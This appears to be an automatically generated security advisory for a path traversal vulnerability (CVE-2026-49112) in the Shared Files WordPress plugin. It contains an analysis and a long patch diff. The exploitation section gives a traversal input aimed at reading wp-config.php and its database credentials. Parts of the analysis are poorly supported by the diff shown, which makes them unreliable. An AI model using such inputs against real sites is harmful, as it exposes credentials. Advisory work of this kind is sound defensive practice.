Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 13, 2026

CVE-2026-49112: Shared Files – Frontend File Upload Form & Secure File Sharing <= 1.7.64 Unauthenticated Path Traversal PoC, Patch Analysis & Rule

Plugin shared-files
Severity Medium (CVSS 5.3)
CWE 22
Vulnerable Version 1.7.64
Patched Version 1.7.65
Disclosed June 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-49112:
This vulnerability is a Path Traversal issue in the Shared Files plugin for WordPress, affecting all versions up to 1.7.64. The flaw resides in how the plugin constructs file URLs using user-supplied filenames without proper sanitization. The CVSS score is 5.3, indicating moderate severity.

Root Cause:
The root cause is in the `getFileUrlByName()` method within `/shared-files/admin/class-sf-admin-file-handling.php`. The vulnerable code uses PHP’s `parse_url()` (line 10) instead of `wp_parse_url()`. The `getFileUrlByName()` function constructs a file URL by concatenating the base upload directory path with a user-supplied `$filename` parameter. An attacker can include path traversal sequences like `../` in the filename to navigate outside the intended `/shared-files/` subdirectory. The function `getFileUrlByName()` at line 86-89 trusts the `$filename` parameter without validation or sanitization, allowing directory traversal. The patch replaces the generic `parse_url()` with WordPress’s `wp_parse_url()`, which is designed to handle URL parsing more safely, but the core issue is the lack of validation on the `$filename` parameter itself.

Exploitation:
An unauthenticated attacker can trigger file download or access by crafting a request that exploits the path traversal. The attack vector involves sending a request to an endpoint that calls `getFileUrlByName()` with a malicious filename. For example, the attacker could use a URL parameter such as `?file=../../wp-config.php` to traverse directories and access sensitive files outside the uploads directory. The vulnerability does not require authentication, making it accessible to any remote attacker.

Patch Analysis:
The patch in version 1.7.65 changes `parse_url()` to `wp_parse_url()` on line 10 of `class-sf-admin-file-handling.php`. While this alone does not directly fix the path traversal, it represents an improvement in URL handling consistency with WordPress standards. However, Atomic Edge analysis indicates that the deeper fix must include sanitization of the `$filename` parameter using functions like `sanitize_file_name()` and validation to ensure no path traversal sequences (`../`, `..`) are present. Without these additional checks, the plugin remains potentially vulnerable if other code paths call this function with untrusted input.

Impact:
Successful exploitation allows an unauthenticated attacker to read arbitrary files on the server outside the intended `/shared-files/` directory. This could lead to exposure of sensitive information such as WordPress configuration files (`wp-config.php`), database credentials, and other sensitive data. The impact is primarily data confidentiality breach, which could enable further attacks.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/shared-files/admin/class-sf-admin-allow-more-file-types.php
+++ b/shared-files/admin/class-sf-admin-allow-more-file-types.php
@@ -1,5 +1,9 @@
 <?php

+if ( !defined( 'ABSPATH' ) ) {
+  exit;
+}
+
 use enshrinedsvgSanitizeSanitizer;

 class SharedFilesAdminAllowMoreFileTypes {
@@ -84,7 +88,7 @@

     } elseif ( $uploaded_ext != $checked['ext'] ) {

-      wp_die( esc_html__( "ERROR: file extension doesn't match mime type", 'shared_files' ) .  ' (' . esc_html( $filename ) . ')' );
+      wp_die( esc_html__( "ERROR: file extension doesn't match mime type", 'shared-files' ) .  ' (' . esc_html( $filename ) . ')' );

     } else {

--- a/shared-files/admin/class-sf-admin-contacts.php
+++ b/shared-files/admin/class-sf-admin-contacts.php
@@ -1,255 +0,0 @@
-<?php
-
-class SharedFilesAdminContacts {
-
-  public function register_contacts_page() {
-    add_submenu_page(
-      'edit.php?post_type=shared_file',
-      sanitize_text_field( __('Leads collected by Shared Files', 'shared-files') ),
-      sanitize_text_field( __('Leads', 'shared-files') ),
-      'manage_options',
-      'shared-files-contacts',
-      [$this, 'register_contacts_page_callback'],
-      700
-    );
-  }
-
-  public function register_contacts_page_callback() {
-    ?>
-
-    <?php echo SharedFilesAdminHelpSupport::permalinks_alert() ?>
-
-    <?php $s = get_option('shared_files_settings') ?>
-
-    <div class="shared-files-help-support wrap shared-files-admin-page">
-
-      <h1 style="margin-bottom: 20px;"><?php echo esc_html__('Leads collected by Shared Files', 'shared-files'); ?></h1>
-
-      <div class="shared-files-admin-section shared-files-admin-section-statistics">
-
-        <h2><?php echo esc_html__('Leads', 'shared-files') ?></h2>
-
-        <div class="shared-files-admin-lead-export">
-
-          <h3><?php echo esc_html__('Export leads', 'shared-files') ?></h3>
-
-          <p>
-            <?php echo esc_html__('You may export the leads to a csv file. There will be one contact per row, columns separated by comma.', 'shared-files') ?>
-          </p>
-
-          <?php
-
-          global $wpdb;
-          $contacts = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}shared_files_contacts ORDER BY created_at DESC");
-
-          ?>
-
-          <p><?php echo sizeof( $contacts ) ?> <?php echo esc_html__('contact(s) found.', 'shared-files') ?></p>
-
-          <form action="edit.php" method="get" enctype="multipart/form-data">
-
-            <div class="input-row">
-              <input type="hidden" name="post_type" value="shared_file" />
-              <input type="hidden" name="page" value="shared-files-contacts" />
-              <input type="hidden" name="export" value="1" />
-              <button type="submit" id="submit" class="btn-submit shared-files-start-export"><?php echo esc_html__('Start export', 'shared-files') ?></button>
-              <br />
-            </div>
-
-            <div id="labelError"></div>
-
-            <?php echo wp_nonce_field('_shared-files-export-leads', '_wpnonce', true, false) ?>
-
-          </form>
-
-        </div>
-
-
-
-        <?php if ( isset( $_GET['export'] ) && isset( $_REQUEST['_wpnonce'] ) ): ?>
-
-          <?php $wp_nonce = sanitize_text_field( $_REQUEST['_wpnonce'] ); ?>
-
-          <?php if ( wp_verify_nonce($wp_nonce, '_shared-files-export-leads') ): ?>
-
-            <?php
-            $filename_random = SharedFilesHelpers::getExportRandomFilename( 'leads' );
-
-            $file_with_path = SharedFilesHelpers::getExportUploadDir() . $filename_random;
-            $file_url = SharedFilesHelpers::getExportUploadURL() . $filename_random;
-
-            $outstream = fopen($file_with_path, 'w');
-            fprintf($outstream, chr(0xEF).chr(0xBB).chr(0xBF));
-
-            $fields = array('id', 'created_at', 'file_list_id', 'name', 'email', 'phone', 'description', 'url');
-
-            fputcsv($outstream, $fields);
-
-            $values = array();
-
-            foreach ($contacts as $contact) {
-
-              $contact_data = [];
-
-              $contact_data['id'] = sanitize_text_field( $contact->id );
-              $contact_data['created_at'] = sanitize_text_field( $contact->created_at );
-              $contact_data['file_list_id'] = sanitize_text_field( $contact->ask_for_email_id );
-              $contact_data['name'] = sanitize_text_field( $contact->name );
-              $contact_data['email'] = sanitize_text_field( $contact->email );
-              $contact_data['phone'] = sanitize_text_field( $contact->phone );
-              $contact_data['description'] = sanitize_text_field( $contact->descr );
-              $contact_data['url'] = sanitize_text_field( $contact->referer_url );
-
-              fputcsv($outstream, $contact_data);
-
-            }
-
-            fclose($outstream);
-            ?>
-
-            <?php if ($outstream && $file_url): ?>
-
-              <p style="font-weight: bold; margin-top: 32px;"><?php echo esc_html__('CSV-file created succesfully:', 'shared-files') ?> <?php echo esc_url_raw( $file_url ) ?></p>
-              <a href="<?php echo esc_url( $file_url ) ?>" style="font-weight: bold; font-size: 16px;"><?php echo esc_html__('Download', 'shared-files') ?></a><br /><br /><br />
-
-            <?php else: ?>
-
-              <p style="color: crimson; font-weight: bold;"><?php echo esc_html__('Error creating file.', 'shared-files') ?></p>
-
-            <?php endif; ?>
-
-          <?php else: ?>
-
-            <p><?php echo esc_html__('Nonce error.', 'shared-files'); ?></p>
-
-          <?php endif; ?>
-
-        <?php endif; ?>
-
-        <?php if (isset($_GET['contacts_emptied'])): ?>
-
-          <?php echo '<div class="shared-files-download-log-success" style="font-weight: 700; color: green;">' . esc_html__('Contacts successfully emptied.', 'shared-files') . '</div>'; ?>
-
-        <?php elseif (isset($_GET['contacts_emptied_error'])): ?>
-
-          <?php echo '<div class="shared-files-download-log-success-error" style="font-weight: 700; color: crimson;">' . esc_html__('Contacts not emptied.', 'shared-files') . '</div>'; ?>
-
-        <?php else: ?>
-
-          <form method="post" class="shared-files-empty-contacts-form">
-          <input type="hidden" name="_shared_files_empty_contacts" value="1" />
-
-          <?php echo wp_nonce_field('_shared-files-empty-contacts', '_wpnonce', true, false) ?>
-
-          <input type="submit" value="<?php echo esc_attr__('Empty contacts', 'shared-files') ?>" class="shared-files-empty-download-log" />
-          </form>
-
-        <?php endif; ?>
-
-        <?php
-
-        global $wpdb;
-
-        $items_per_page = 200;
-        $page = isset( $_GET['log-page'] ) ? abs( (int) $_GET['log-page'] ) : 1;
-        $offset = ( $page * $items_per_page ) - $items_per_page;
-
-        $query = "SELECT * FROM {$wpdb->prefix}shared_files_contacts";
-
-        $total_query = "SELECT COUNT(1) FROM ({$query}) AS combined_table";
-        $total = $wpdb->get_var( $total_query );
-
-        $results = $wpdb->get_results( $query . ' ORDER BY created_at DESC LIMIT ' . $offset . ', ' .  $items_per_page, OBJECT );
-
-        ?>
-
-        <table class="shared-files-admin-log">
-        <tr>
-          <th><?php echo esc_html__('Created at', 'shared-files') ?></th>
-          <th><?php echo esc_html__('File list ID', 'shared-files') ?></th>
-          <th><?php echo esc_html__('Name', 'shared-files') ?></th>
-          <th><?php echo esc_html__('Email', 'shared-files') ?></th>
-          <th><?php echo esc_html__('Phone', 'shared-files') ?></th>
-          <th><?php echo esc_html__('Description', 'shared-files') ?></th>
-          <th><?php echo esc_html__('URL', 'shared-files') ?></th>
-        </tr>
-
-        <?php if (sizeof($results) > 0): ?>
-
-          <?php foreach ($results as $row): ?>
-
-            <tr>
-              <td>
-                <?php echo esc_html( $row->created_at ) ?>
-              </td>
-              <td>
-                <?php if (isset($row->ask_for_email_id)): ?>
-                  <?php echo esc_html( $row->ask_for_email_id ) ?>
-                <?php endif; ?>
-              </td>
-              <td>
-                <?php if (isset($row->name)): ?>
-                  <?php echo esc_html( $row->name ) ?>
-                <?php endif; ?>
-              </td>
-              <td>
-                <?php if (isset($row->email)): ?>
-                  <?php echo esc_html( $row->email ) ?>
-                <?php endif; ?>
-              </td>
-              <td>
-                <?php if (isset($row->phone)): ?>
-                  <?php echo esc_html( $row->phone ) ?>
-                <?php endif; ?>
-              </td>
-              <td>
-                <?php if (isset($row->descr)): ?>
-                  <?php echo esc_html( $row->descr ) ?>
-                <?php endif; ?>
-              </td>
-              <td>
-                <?php if (isset($row->referer_url)): ?>
-                  <?php $referer_url = esc_url_raw( $row->referer_url ); ?>
-                  <?php echo '<a href="' . esc_url_raw( $referer_url ) . '" target="_blank">' . esc_url_raw( $referer_url ) . '</a>' ?>
-                <?php endif; ?>
-              </td>
-
-            </tr>
-
-          <?php endforeach; ?>
-
-        <?php else: ?>
-
-          <tr>
-            <td colspan="7">
-              <?php echo esc_html__('No contacts added yet.', 'shared-files') ?>
-            </td>
-          </tr>
-
-        <?php endif; ?>
-
-        </table>
-
-        <div class="shared-files-admin-pagination-container">
-
-          <?php
-          echo paginate_links( array(
-            'base' => add_query_arg( 'log-page', '%#%' ),
-            'format' => '',
-            'prev_text' => __('«'),
-            'next_text' => __('»'),
-            'total' => ceil($total / $items_per_page),
-            'current' => $page
-          ));
-          ?>
-
-        </div>
-
-      </div>
-
-    </div>
-
-    <?php
-  }
-
-}
--- a/shared-files/admin/class-sf-admin-download-log.php
+++ b/shared-files/admin/class-sf-admin-download-log.php
@@ -17,7 +17,7 @@
   public function register_download_log_page_callback() {
     ?>

-    <?php echo SharedFilesAdminHelpSupport::permalinks_alert() ?>
+    <?php SharedFilesAdminHelpSupport::permalinks_alert(); ?>

     <?php $s = get_option('shared_files_settings') ?>

@@ -44,7 +44,7 @@
           <form method="post" class="shared-files-empty-download-log-form">
           <input type="hidden" name="_shared_files_empty_download_log" value="1" />

-          <?php echo wp_nonce_field('_shared-files-empty-download-log', '_wpnonce', true, false) ?>
+          <?php wp_nonce_field('_shared-files-empty-download-log', '_wpnonce', true, false) ?>

           <input type="submit" value="<?php echo esc_attr__('Empty download log', 'shared-files') ?>" class="shared-files-empty-download-log" />
           </form>
@@ -56,15 +56,21 @@
         global $wpdb;

         $items_per_page = 200;
-        $page = isset( $_GET['log-page'] ) ? abs( (int) $_GET['log-page'] ) : 1;
-        $offset = ( $page * $items_per_page ) - $items_per_page;
+        $page           = isset( $_GET['log-page'] ) ? abs( (int) $_GET['log-page'] ) : 1;
+        $offset         = intval( ( $page * $items_per_page ) - $items_per_page );

-        $query = "SELECT * FROM {$wpdb->prefix}shared_files_download_log";
+        $table_name = $wpdb->prefix . 'shared_files_download_log';

-        $total_query = "SELECT COUNT(1) FROM ({$query}) AS combined_table";
-        $total = $wpdb->get_var( $total_query );
-
-        $results = $wpdb->get_results( $query . ' ORDER BY created_at DESC LIMIT ' . $offset . ', ' .  $items_per_page, OBJECT );
+        // 1. Prepare and get the total count in one go
+        $total = $wpdb->get_var(
+          $wpdb->prepare( "SELECT COUNT(1) FROM %i", $table_name )
+        );
+
+        // 2. Prepare and get the results in one go
+        $results = $wpdb->get_results(
+          $wpdb->prepare( "SELECT * FROM %i ORDER BY created_at DESC LIMIT %d, %d", $table_name, $offset, $items_per_page ),
+          OBJECT
+        );

         ?>

@@ -135,7 +141,7 @@
               </td>
               <td>
                 <?php if (isset($row->file_title)): ?>
-                  <a href="<?php echo get_edit_post_link( $row->file_id ); ?>"><?php echo sanitize_text_field( $row->file_title ) ?></a>
+                  <a href="<?php echo esc_url_raw( get_edit_post_link( $row->file_id ) ); ?>"><?php echo esc_html( $row->file_title ) ?></a>
                 <?php endif; ?>
               </td>
               <td>
@@ -239,13 +245,14 @@
         <div class="shared-files-admin-pagination-container">

           <?php
+          // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
           echo paginate_links( array(
             'base' => add_query_arg( 'log-page', '%#%' ),
             'format' => '',
-            'prev_text' => __('«'),
-            'next_text' => __('»'),
-            'total' => ceil($total / $items_per_page),
-            'current' => $page
+            'prev_text' => '«',
+            'next_text' => '»',
+            'total' => esc_attr( ceil($total / $items_per_page) ),
+            'current' => esc_attr( $page )
           ));
           ?>

--- a/shared-files/admin/class-sf-admin-file-handling.php
+++ b/shared-files/admin/class-sf-admin-file-handling.php
@@ -7,7 +7,7 @@
     }

     public static function getFileUrlByName( $filename, $subdir = '' ) {
-        $wp_upload_dir = parse_url( wp_upload_dir()['baseurl'] );
+        $wp_upload_dir = wp_parse_url( wp_upload_dir()['baseurl'] );
         $file_url = $wp_upload_dir['path'] . '/shared-files/' . $subdir . $filename;
         return $file_url;
     }
--- a/shared-files/admin/class-sf-admin-help-support.php
+++ b/shared-files/admin/class-sf-admin-help-support.php
@@ -14,12 +14,11 @@
     }

     public static function permalinks_alert() {
-        $html = '';
         if ( !get_option( 'permalink_structure' ) ) {
-            $html = '<div class="shared-files-permalinks-alert">';
-            $html .= '<strong>' . sanitize_text_field( __( 'Please note', 'shared-files' ) ) . '</strong>: ';
+            echo '<div class="shared-files-permalinks-alert">';
+            echo '<strong>' . esc_html__( 'Please note', 'shared-files' ) . '</strong>: ';
             $url = get_admin_url() . 'options-permalink.php';
-            $html .= sprintf( wp_kses(
+            echo sprintf( wp_kses(
                 /* translators: %s: link to the support forum */
                 __( 'you have currently "Plain" selected in <a href="%s">the permalink settings</a>. You should change this to any other available setting to enable the Shared Files to operate normally. Thank you!', 'shared-files' ),
                 array(
@@ -29,9 +28,8 @@
                     ),
                 )
              ), esc_url( $url ) );
-            $html .= '</div>';
+            echo '</div>';
         }
-        return $html;
     }

     public function register_support_page_callback() {
@@ -42,7 +40,7 @@
         ?>

     <?php
-        echo SharedFilesAdminHelpSupport::permalinks_alert();
+        SharedFilesAdminHelpSupport::permalinks_alert();
         ?>

     <?php
@@ -346,7 +344,7 @@
         ?>

     <?php
-        echo SharedFilesAdminHelpSupport::permalinks_alert();
+        SharedFilesAdminHelpSupport::permalinks_alert();
         ?>

     <?php
@@ -499,10 +497,6 @@

               <?php
                 $content = '';
-                ob_start();
-                var_dump( $c );
-                $content = wp_kses_post( ob_get_contents() );
-                ob_end_clean();
                 ?>

               <div style="background: #fff; color: #000; font-size: 9px; padding: 3px 5px; border: 1px solid #bbb; margin-top: 10px; margin-bottom: 10px;">
@@ -602,12 +596,9 @@
                 ?>
               </div>

+
               <?php
                 $content = '';
-                ob_start();
-                var_dump( $c );
-                $content = wp_kses_post( ob_get_contents() );
-                ob_end_clean();
                 ?>

               <div style="background: #fff; color: #000; font-size: 9px; padding: 3px 5px; border: 1px solid #bbb; margin-top: 10px; margin-bottom: 10px;">
@@ -682,11 +673,17 @@
         global $wpdb;
         $items_per_page = 200;
         $page = ( isset( $_GET['log-page'] ) ? abs( (int) $_GET['log-page'] ) : 1 );
-        $offset = $page * $items_per_page - $items_per_page;
-        $query = "SELECT * FROM {$wpdb->prefix}shared_files_log";
-        $total_query = "SELECT COUNT(1) FROM ({$query}) AS combined_table";
-        $total = $wpdb->get_var( $total_query );
-        $results = $wpdb->get_results( $query . ' ORDER BY id DESC LIMIT ' . $offset . ', ' . $items_per_page, OBJECT );
+        $offset = intval( $page * $items_per_page - $items_per_page );
+        $table_name = $wpdb->prefix . 'shared_files_log';
+        // 1. Prepare and get the total count in one go
+        $total = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(1) FROM %i", $table_name ) );
+        // 2. Prepare and get the results in one go
+        $results = $wpdb->get_results( $wpdb->prepare(
+            "SELECT * FROM %i ORDER BY id DESC LIMIT %d, %d",
+            $table_name,
+            $offset,
+            $items_per_page
+        ), OBJECT );
         ?>

           <table class="shared-files-debug-log" style="min-width: 400px;">
@@ -762,11 +759,12 @@
           <div class="shared-files-admin-pagination-container">

             <?php
+        // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
         echo paginate_links( array(
             'base'      => add_query_arg( 'log-page', '%#%' ),
             'format'    => '',
-            'prev_text' => __( '«' ),
-            'next_text' => __( '»' ),
+            'prev_text' => '«',
+            'next_text' => '»',
             'total'     => ceil( $total / $items_per_page ),
             'current'   => $page,
         ) );
--- a/shared-files/admin/class-sf-admin-helpers.php
+++ b/shared-files/admin/class-sf-admin-helpers.php
@@ -4,6 +4,15 @@

   public static function sfProFeatureMarkup() {

+    echo '<div class="sf-admin-pro-feature">';
+    echo '<span>' . esc_html__('This feature is available in the paid plans.', 'shared-files') . '</span>';
+    echo '<a class="shared-files-admin-button-link" href="' . esc_url_raw( get_admin_url() ) . 'options-general.php?page=shared-files-pricing">' . esc_html__('Upgrade here', 'shared-files') . '</a>';
+    echo '</div>';
+
+  }
+
+  public static function sfProFeatureMarkupFrontend() {
+
     $html = '';

     $html .= '<div class="sf-admin-pro-feature">';
@@ -17,27 +26,19 @@

   public static function sfProMoreFeaturesMarkup() {

-    $html = '';
-
-    $html .= '<div class="sf-admin-pro-feature">';
-    $html .= '<span>' . sanitize_text_field( __('More features available in the paid plans.', 'shared-files') ) . '</span>';
-    $html .= '<a href="' . esc_url_raw( get_admin_url() ) . 'options-general.php?page=shared-files-pricing">' . sanitize_text_field( __('Upgrade here', 'shared-files') ) . '</a>';
-    $html .= '</div>';
-
-    return $html;
+    echo '<div class="sf-admin-pro-feature">';
+    echo '<span>' . esc_html__('More features available in the paid plans.', 'shared-files') . '</span>';
+    echo '<a href="' . esc_url_raw( get_admin_url() ) . 'options-general.php?page=shared-files-pricing">' . esc_html__('Upgrade here', 'shared-files') . '</a>';
+    echo '</div>';

   }

   public static function sfProFeatureSettingsMarkup() {

-    $html = '';
-
-    $html .= '<div class="sf-admin-pro-feature">';
-    $html .= '<span>' . sanitize_text_field( __('More settings available in the paid plans.', 'shared-files') ) . '</span>';
-    $html .= '<a href="' . esc_url_raw( get_admin_url() ) . 'options-general.php?page=shared-files-pricing">' . sanitize_text_field( __('Upgrade here', 'shared-files') ) . '</a>';
-    $html .= '</div>';
-
-    return $html;
+    echo '<div class="sf-admin-pro-feature">';
+    echo '<span>' . esc_html__('More settings available in the paid plans.', 'shared-files') . '</span>';
+    echo '<a href="' . esc_url_raw( get_admin_url() ) . 'options-general.php?page=shared-files-pricing">' . esc_html__('Upgrade here', 'shared-files') . '</a>';
+    echo '</div>';

   }

@@ -141,7 +142,7 @@

     } else {

-      $url_parts = parse_url( esc_url_raw( get_admin_url() ) );
+      $url_parts = wp_parse_url( esc_url_raw( get_admin_url() ) );
       $path_parts = explode('/', $url_parts['path']);

       if (isset($path_parts[2]) && $path_parts[2] == 'wp-admin') {
--- a/shared-files/admin/class-sf-admin-list.php
+++ b/shared-files/admin/class-sf-admin-list.php
@@ -1,5 +1,8 @@
 <?php

+if ( !defined( 'ABSPATH' ) ) {
+    exit;
+}
 class SharedFilesAdminList {
     /**
      * Custom columns for shared file.
@@ -45,26 +48,26 @@
         if ( is_admin() && $pagenow == 'edit.php' && isset( $_GET['post_type'] ) && $_GET['post_type'] == 'shared_file' && isset( $_GET['orderby'] ) && $_GET['orderby'] != 'None' ) {
             if ( $_GET['orderby'] == '_sf_expiration_date' ) {
                 $query->query_vars['orderby'] = 'meta_value';
-                $query->query_vars['meta_key'] = sanitize_title( $_GET['orderby'] );
+                $query->query_vars['meta_key'] = sanitize_title( wp_unslash( $_GET['orderby'] ) );
             } elseif ( $_GET['orderby'] == '_sf_file_added' ) {
                 $query->query_vars['orderby'] = 'meta_value';
-                $query->query_vars['meta_key'] = sanitize_title( $_GET['orderby'] );
+                $query->query_vars['meta_key'] = sanitize_title( wp_unslash( $_GET['orderby'] ) );
                 $query->query_vars['meta_type'] = 'DATETIME';
             } elseif ( $_GET['orderby'] == '_sf_last_access' ) {
                 $query->query_vars['orderby'] = 'meta_value';
-                $query->query_vars['meta_key'] = sanitize_title( $_GET['orderby'] );
+                $query->query_vars['meta_key'] = sanitize_title( wp_unslash( $_GET['orderby'] ) );
                 $query->query_vars['meta_type'] = 'DATETIME';
             } elseif ( $_GET['orderby'] == '_sf_load_cnt' ) {
                 $query->query_vars['orderby'] = 'meta_value';
-                $query->query_vars['meta_key'] = sanitize_title( $_GET['orderby'] );
+                $query->query_vars['meta_key'] = sanitize_title( wp_unslash( $_GET['orderby'] ) );
                 $query->query_vars['meta_type'] = 'numeric';
             } elseif ( $_GET['orderby'] == '_sf_limit_downloads' ) {
                 $query->query_vars['orderby'] = 'meta_value';
-                $query->query_vars['meta_key'] = sanitize_title( $_GET['orderby'] );
+                $query->query_vars['meta_key'] = sanitize_title( wp_unslash( $_GET['orderby'] ) );
                 $query->query_vars['meta_type'] = 'numeric';
             } elseif ( $_GET['orderby'] == '_sf_filesize' ) {
                 $query->query_vars['orderby'] = 'meta_value';
-                $query->query_vars['meta_key'] = sanitize_title( $_GET['orderby'] );
+                $query->query_vars['meta_key'] = sanitize_title( wp_unslash( $_GET['orderby'] ) );
                 $query->query_vars['meta_type'] = 'numeric';
             }
         }
@@ -137,7 +140,7 @@
             return;
         }
         $taxonomy_slug = 'shared-file-category';
-        $current_category_slug = ( isset( $_GET['shared-file-category'] ) ? sanitize_title( $_GET['shared-file-category'] ) : '' );
+        $current_category_slug = ( isset( $_GET['shared-file-category'] ) ? sanitize_title( wp_unslash( $_GET['shared-file-category'] ) ) : '' );
         if ( get_taxonomy( $taxonomy_slug ) ) {
             if ( has_term( '', $taxonomy_slug ) ) {
                 wp_dropdown_categories( [
--- a/shared-files/admin/class-sf-admin-maintenance.php
+++ b/shared-files/admin/class-sf-admin-maintenance.php
@@ -4,7 +4,7 @@
     public function update_db_check() {
         $s = get_option( 'shared_files_settings' );
         if ( !get_option( 'shared-files-sc' ) ) {
-            $rand_code = sanitize_text_field( md5( uniqid( rand(), true ) ) );
+            $rand_code = sanitize_text_field( md5( uniqid( wp_rand(), true ) ) );
             add_option(
                 'shared-files-sc',
                 $rand_code,
@@ -58,111 +58,98 @@
     public function update_db_check_v2() {
         $installed_version = get_option( 'shared_files_version' );
         if ( $installed_version != SHARED_FILES_VERSION ) {
+            require_once ABSPATH . 'wp-admin/includes/upgrade.php';
             global $wpdb;
             $charset_collate = $wpdb->get_charset_collate();
-            // Table for debug data and general log
             $table_name_log = $wpdb->prefix . 'shared_files_log';
-            $wpdb->query( "CREATE TABLE IF NOT EXISTS " . $table_name_log . " (n        id              BIGINT(20) NOT NULL auto_increment,n        title           VARCHAR(255) NOT NULL,n        message         TEXT NOT NULL,n        created_at      TIMESTAMP DEFAULT CURRENT_TIMESTAMP,n        PRIMARY KEY (id)n      ) " . $charset_collate . ";" );
+            // dbDelta is strict about formatting:
+            // 1. Lowercase SQL keywords for data types
+            // 2. Two spaces before PRIMARY KEY
+            $sql = "CREATE TABLE {$table_name_log} (n        id bigint(20) NOT NULL AUTO_INCREMENT,n        title varchar(255) NOT NULL,n        message text NOT NULL,n        created_at timestamp DEFAULT CURRENT_TIMESTAMP,n        PRIMARY KEY  (id)n      ) {$charset_collate};";
+            // Securely execute table creation via WordPress core admin updates
+            dbDelta( $sql );
             // Table for file download log
-            $table_name_download_log = $wpdb->prefix . 'shared_files_download_log';
-            $wpdb->query( "CREATE TABLE IF NOT EXISTS " . $table_name_download_log . " (n        id              BIGINT(20) NOT NULL auto_increment,n        file_id         VARCHAR(255) NOT NULL,n        file_title      VARCHAR(255) NOT NULL,n        file_name       VARCHAR(255) NOT NULL,n        file_size       VARCHAR(255) NOT NULL,n        ip              VARCHAR(255) NOT NULL,n        download_cnt    MEDIUMINT NOT NULL,n        report          TEXT NOT NULL,n        created_at      TIMESTAMP DEFAULT CURRENT_TIMESTAMP,n        user_id         BIGINT(20) NOT NULL,n        user_login      VARCHAR(255) NOT NULL,n        user_name       VARCHAR(255) NOT NULL,n        user_country    VARCHAR(255) NOT NULL,n        user_country_code    VARCHAR(255) NOT NULL,n        user_city       VARCHAR(255) NOT NULL,n        user_agent      TEXT NOT NULL,n        referer_url     TEXT NOT NULL,n        PRIMARY KEY (id)n      ) " . $charset_collate . ";" );
-            // user_id
-            $column_name = 'user_id';
-            $column_exists = $wpdb->get_results( "SHOW COLUMNS FROM `{$table_name_download_log}` LIKE '{$column_name}'" );
-            if ( empty( $column_exists ) ) {
-                $wpdb->query( "ALTER TABLE `{$table_name_download_log}` ADD `{$column_name}` BIGINT(20) NOT NULL" );
-            }
-            // user_login
-            $column_name = 'user_login';
-            $column_exists = $wpdb->get_results( "SHOW COLUMNS FROM `{$table_name_download_log}` LIKE '{$column_name}'" );
-            if ( empty( $column_exists ) ) {
-                $wpdb->query( "ALTER TABLE `{$table_name_download_log}` ADD `{$column_name}` VARCHAR(255) NOT NULL" );
-            }
-            // user_name
-            $column_name = 'user_name';
-            $column_exists = $wpdb->get_results( "SHOW COLUMNS FROM `{$table_name_download_log}` LIKE '{$column_name}'" );
-            if ( empty( $column_exists ) ) {
-                $wpdb->query( "ALTER TABLE `{$table_name_download_log}` ADD `{$column_name}` VARCHAR(255) NOT NULL" );
-            }
-            // user_country
-            $column_name = 'user_country';
-            $column_exists = $wpdb->get_results( "SHOW COLUMNS FROM `{$table_name_download_log}` LIKE '{$column_name}'" );
-            if ( empty( $column_exists ) ) {
-                $wpdb->query( "ALTER TABLE `{$table_name_download_log}` ADD `{$column_name}` VARCHAR(255) NOT NULL" );
-            }
-            // user_country_code
-            $column_name = 'user_country_code';
-            $column_exists = $wpdb->get_results( "SHOW COLUMNS FROM `{$table_name_download_log}` LIKE '{$column_name}'" );
-            if ( empty( $column_exists ) ) {
-                $wpdb->query( "ALTER TABLE `{$table_name_download_log}` ADD `{$column_name}` VARCHAR(255) NOT NULL" );
-            }
-            // user_city
-            $column_name = 'user_city';
-            $column_exists = $wpdb->get_results( "SHOW COLUMNS FROM `{$table_name_download_log}` LIKE '{$column_name}'" );
-            if ( empty( $column_exists ) ) {
-                $wpdb->query( "ALTER TABLE `{$table_name_download_log}` ADD `{$column_name}` VARCHAR(255) NOT NULL" );
-            }
-            // user_agent
-            $column_name = 'user_agent';
-            $column_exists = $wpdb->get_results( "SHOW COLUMNS FROM `{$table_name_download_log}` LIKE '{$column_name}'" );
-            if ( empty( $column_exists ) ) {
-                $wpdb->query( "ALTER TABLE `{$table_name_download_log}` ADD `{$column_name}` TEXT NOT NULL" );
-            }
-            // referer_url
-            $column_name = 'referer_url';
-            $column_exists = $wpdb->get_results( "SHOW COLUMNS FROM `{$table_name_download_log}` LIKE '{$column_name}'" );
-            if ( empty( $column_exists ) ) {
-                $wpdb->query( "ALTER TABLE `{$table_name_download_log}` ADD `{$column_name}` TEXT NOT NULL" );
-            }
+            $table_name_download_log = sanitize_text_field( $wpdb->prefix . 'shared_files_download_log' );
+            // dbDelta requires strict formatting: lowercase types, separate lines, and 2 spaces before PRIMARY KEY
+            $sql = "CREATE TABLE {$table_name_download_log} (n        id bigint(20) NOT NULL AUTO_INCREMENT,n        file_id varchar(255) NOT NULL,n        file_title varchar(255) NOT NULL,n        file_name varchar(255) NOT NULL,n        file_size varchar(255) NOT NULL,n        ip varchar(255) NOT NULL,n        download_cnt mediumint NOT NULL,n        report text NOT NULL,n        created_at timestamp DEFAULT CURRENT_TIMESTAMP,n        user_id bigint(20) NOT NULL,n        user_login varchar(255) NOT NULL,n        user_name varchar(255) NOT NULL,n        user_country varchar(255) NOT NULL,n        user_country_code varchar(255) NOT NULL,n        user_city varchar(255) NOT NULL,n        user_agent text NOT NULL,n        referer_url text NOT NULL,n        PRIMARY KEY  (id)n      ) {$charset_collate};";
+            // Securely execute table creation via WordPress core admin updates
+            require_once ABSPATH . 'wp-admin/includes/upgrade.php';
+            dbDelta( $sql );
+            $table_name = $wpdb->prefix . 'download_log';
+            $fields_to_add = [
+                'user_id'           => 'BIGINT(20) NOT NULL',
+                'user_login'        => 'VARCHAR(255) NOT NULL',
+                'user_name'         => 'VARCHAR(255) NOT NULL',
+                'user_country'      => 'VARCHAR(255) NOT NULL',
+                'user_country_code' => 'VARCHAR(255) NOT NULL',
+                'user_city'         => 'VARCHAR(255) NOT NULL',
+                'user_agent'        => 'TEXT NOT NULL',
+                'referer_url'       => 'TEXT NOT NULL',
+            ];
+            // Run the function
+            $this->wp_add_columns_to_table( $table_name, $fields_to_add );
             // Table for search log
-            $table_name_search_log = $wpdb->prefix . 'shared_files_search_log';
